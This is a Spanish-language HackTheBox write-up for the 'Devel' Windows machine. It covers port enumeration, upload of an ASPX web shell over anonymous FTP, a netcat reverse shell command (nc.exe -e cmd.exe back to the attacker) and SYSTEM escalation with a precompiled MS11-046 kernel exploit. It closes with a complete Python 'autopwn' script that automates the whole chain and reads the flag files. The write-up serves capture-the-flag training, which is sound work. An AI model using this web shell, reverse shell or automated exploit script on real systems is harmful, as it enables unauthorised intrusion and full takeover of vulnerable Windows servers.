HackTheBox - Máquina Devel
Enumeración
nmap -p- -sS --min-rate=5000 --open -vvv -Pn -n 10.10.10.5 -oG allPorts
nmap -sC -sV -p21,80 10.10.10.5 -oN targeted
Resultado:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explotación
La shell en aspx que subire mediante el ftp se encuentra en el directorio /usr/share/davtest/backdoors/aspx_cmd.aspx
.
ftp 10.10.10.5 (conexión modo anónima)
put aspx_cmd.aspx
A través del navegador accedemos al recurso (10.10.10.5/aspx_cmd.aspx) y saldrá un input para insertar comandos y un botón para ejecutarlos.
Mediante la utilidad smbserver.py de la herramienta impacket, voy a compartir el binario de Netcat (nc.exe) para poder ejecutarlo desde el input de la shell (Mi recurso compartido se llamará shared).
python3 smbserver.py <nombre_recurso_compartido> <ruta_a_compartir>
Petición a nuestro binario compartido:
\\10.10.XX.XX\shared\nc.exe -e cmd.exe 10.10.XX.XX 4444
En la máquina atacante dejamos el listener:
nc -nvlp 4444
Whoami en la máquina victima:
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
Escalado de privilegios
Vamos a enumerar un poco el sistema con systeminfo
y vamos a utilizar la información de OS Version: 6.1.7600 N/A Build 7600
Investigamos sobre Version: 6.1.7600 N/A Build 7600 privilege escalation
y como resultado obtenemos Microsoft Windows (x86) - ‘afd.sys’ Local Privilege Escalation (MS11-046), el script esta c y habría que compilarlo por lo que vamos a descargar el fichero compilado ms11-046.exe y subirlo por el ftp a la máquina.
ftp 10.10.10.5 (conexión anónima)
binary
put ms11-046.exe
Por último, vamos a ejecutar el fichero ms11-046.exe
que se encuentra en el directorio C:\inetpub\wwwroot
y mediante whoami, obtenemos el usuario nt authority\system
y para finalizar quedaría obtener las flags.
Autopwn.py
Se ha automatizado la explotación y la escalada de privilegios con el siguiente script. En la declaración de variables modificar el nombre de los archivos y cambiar la IP y puerto de la víctima atacante.
#!/usr/bin/bash python3
#coding=utf-8
import time, sys, os, re, requests, threading
from pwn import *
from ftplib import FTP
# Variable declaration
malicious_files = ["aspx_cmd.aspx", "ms11-046.exe", "nc.exe"]
URL_CMD = "http://10.10.10.5/%s" % malicious_files[0]
HOST = "10.10.10.5"
FTP_USER = "anonymous"
FTP_PASSWORD = ""
ATTACKER_IP = ""
ATTACKER_PORT = 4444
def def_handler(sig, frame):
print("[!] Saliendo...")
sys.exit(1)
signal.signal(signal.SIGINT , def_handler)
def header():
header = """
================================================
_ _____ _
/\ | | | __ \ | |
/ \ _ _| |_ ___ | |__) |_ ___ __ | |
/ /\ \| | | | __/ _ \| ___/\ \ /\ / / '_ \| |
/ ____ \ |_| | || (_) | | \ V V /| | | |_|
/_/ \_\__,_|\__\___/|_| \_/\_/ |_| |_(_)
================================================ by SuprAltCtrl
Resources used:
|==== NAME ==== | ============================== PATH ====================================|
| aspx_cmd.aspx | /usr/share/davtest/backdoors/aspx_cmd.aspx |
| ms11-046.exe | https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046 |
| nc.exe | /usr/share/windows-resources/binaries/nc.exe |
===========================================================================================
"""
print(header)
def run():
try:
l1 = log.progress('FTP')
l1.status("Estableciendo conexion")
time.sleep(2)
ftp = FTP(HOST,FTP_USER,FTP_PASSWORD)
ftp.login()
l1.status("Subiendo ficheros")
time.sleep(2)
for malicious_file in malicious_files:
fp = open(malicious_file,'rb')
ftp.storbinary('STOR %s' % os.path.basename(malicious_file), fp, 1024)
fp.close()
s = requests.session()
r = s.get(URL_CMD)
viewState = re.findall(r'__VIEWSTATE" value="(.*?)"', r.text)[0]
eventValidation = re.findall(r'__EVENTVALIDATION" value="(.*?)"', r.text)[0]
post_data = {
"__VIEWSTATE": viewState,
"__EVENTVALIDATION": eventValidation,
"txtArg": "C:\inetpub\wwwroot\%s -e cmd %s %s" % (malicious_files[2],ATTACKER_IP,ATTACKER_PORT),
"testing": "excute"
}
l1.success("Archivos subidos correctamente")
l2 = log.progress("Reverse Shell")
l2.status("Ejecutando binario %s" % malicious_files[2])
time.sleep(2)
r = s.post(URL_CMD, data=post_data, timeout=2)
l2.success("Comando ejecutado correctamente")
time.sleep(2)
except requests.exceptions.ReadTimeout:
l2.success("Comando ejecutado correctamente")
time.sleep(2)
except Exception as e:
print(str(e))
print("[!] Ha ocurrido un error \n")
sys.exit(1)
if __name__ == "__main__":
header()
try:
t = threading.Thread(target=run)
t.start()
except Exception as e:
log.error(str(e))
shell = listen(ATTACKER_PORT, timeout=20)
shell.wait_for_connection()
if shell.sock is None:
log.failure("[!] No se ha establecido la conexion")
sys.exit(1)
else:
log.success("Se ha establecido correctamente la conexion")
time.sleep(2)
l3 = log.progress('Escalada de privilegios')
l3.status("Ejecutando binario %s " % malicious_files[1])
time.sleep(2)
shell.sendline("C:\inetpub\wwwroot\%s" %malicious_files[1])
l3.success("Escalada de privilegios realizada correctamente")
time.sleep(2)
shell.sendline("type c:\\Users\\babis\\Desktop\\user.txt.txt")
shell.sendline("type c:\\Users\\Administrator\\Desktop\\root.txt")
shell.interactive()